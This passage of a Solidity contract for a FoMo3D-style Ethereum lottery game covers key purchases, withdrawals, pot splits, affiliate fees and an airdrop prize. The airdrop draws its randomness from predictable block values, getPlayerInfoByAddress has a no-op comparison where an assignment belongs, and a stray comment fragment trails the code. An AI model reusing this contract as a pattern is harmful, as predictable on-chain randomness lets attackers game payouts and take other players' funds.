earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.mktAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.mktAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.mktAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _mkt = (_pot.mul(potSplit_[_winTID].marketing)) / 100; uint256 _res = ((_pot.sub(_win)).sub(_com)).sub(_gen).sub(_mkt); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards _com = _com.add(_mkt); if (!owner.send(_com)) { _com = 0; _res = _res.add(_com); } // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.mktAmount = _mkt; // _eventData_.comAmount = _com; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked((block.timestamp).add(block.difficulty).add((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add(block.gaslimit).add((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add(block.number)))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // pay 2% out to community rewards uint256 _com = _eth / 50; // distribute share to affiliate uint256 _aff = _eth / 10; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _com = _com.add(_aff); } uint256 _mkt = _eth.mul(fees_[_team].marketing) / 100; _com = _com.add(_mkt); owner.transfer(_com); _eventData_.mktAmount = _mkt; // _eventData_.comAmount = _com; return(_eventData_); } function potSwap() external payable { // setup local rID uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 1% into airdrop pot uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); uint256 cut = (fees_[_team].marketing).add(13); _eth = _eth.sub(_eth.mul(cut) / 100); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) { _gen = _gen.sub(_dust); } // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.mktAmount, // _eventData_.comAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public onlyOwner { // make sure that its been linked. // require(address(otherF3D_) != address(0), "must link to other FoMo3D first"); // can only be ran once require(activated_ == false, "fomo3d already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now; round_[1].end = now + rndInit_; } } library F3Ddatasets { //compressedData key // [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0] // 0 - new player (bool) // 1 - joined round (bool) // 2 - new leader (bool) // 3-5 - air drop tracker (uint 0-999) // 6-16 - round end time // 17 - winnerTeam // 18 - 28 timestamp // 29 - team // 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico) // 31 - airdrop happened bool // 32 - airdrop tier // 33 - airdrop amount won //compressedIDs key // [77-52][51-26][25-0] // 0-25 - pID // 26-51 - winPID // 52-77 - rID struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; // winner address bytes32 winnerName; // winner name uint256 amountWon; // amount won uint256 newPot; // amount in new pot uint256 mktAmount; // amount distributed for marketing // uint256 comAmount; uint256 genAmount; // amount distributed to gen uint256 potAmount; // amount added to pot } struct Player { address addr; // player address bytes32 name; // player name uint256 win; // winnings vault uint256 gen; // general vault uint256 aff; // affiliate vault uint256 lrnd; // last round played uint256 laff; // last affiliate id used } struct PlayerRounds { uint256 eth; // eth player has added to round (used for eth limiter) uint256 keys; // keys uint256 mask; // player mask uint256 ico; // ICO phase investment } struct Round { uint256 plyr; // pID of player in lead uint256 team; // tID of team in lead uint256 end; // time ends/ended bool ended; // has round end function been ran uint256 strt; // time round started uint256 keys; // keys uint256 eth; // total eth in uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends) uint256 mask; // global mask uint256 ico; // total eth sent in during ICO phase uint256 icoGen; // total eth for gen during ICO phase uint256 icoAvg; // average key price for ICO phase } struct TeamFee { uint256 gen; // % of buy in thats paid to key holders of current round uint256 marketing; // % of buy in thats paid for marketing } struct PotSplit { uint256 gen; // % of pot thats paid to key holders of current round uint256 marketing; // % of pot thats paid to for marketing } } library F3DKeysCalcLong { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } }
* @dev gets existing or registers new pID. use this when a player may be new @return pID/ if player is new to this version of fomo3d grab their player ID, name and last aff ID, from player names contract set up player account
